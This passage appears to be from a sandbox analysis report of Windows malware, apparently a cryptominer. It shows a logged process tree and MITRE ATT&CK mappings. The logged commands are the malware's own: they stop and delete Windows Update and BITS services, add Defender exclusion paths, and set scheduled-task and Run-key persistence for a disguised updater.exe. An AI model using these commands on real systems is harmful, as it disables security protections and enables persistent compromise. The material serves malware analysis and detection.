    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2060
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1832
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1116
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3092
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3496
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4476
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1136
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4220
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:988
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:384
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3096
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4592
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4012
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2912
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4972
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:5020
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3508
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4124
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4872
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3548
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4224
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4356
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4564
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:604
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3212

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:3092
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3092 -s 600
    3⤵
    - Program crash
    PID:3132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3092 -ip 3092
1⤵
PID:4700

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:388
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:3616
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 600
    3⤵
    - Program crash
    PID:1404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3616 -ip 3616
1⤵
PID:1020

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4356

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 528 -p 2440 -ip 2440
1⤵
PID:4604

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2308

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:3204

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
PID:1992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery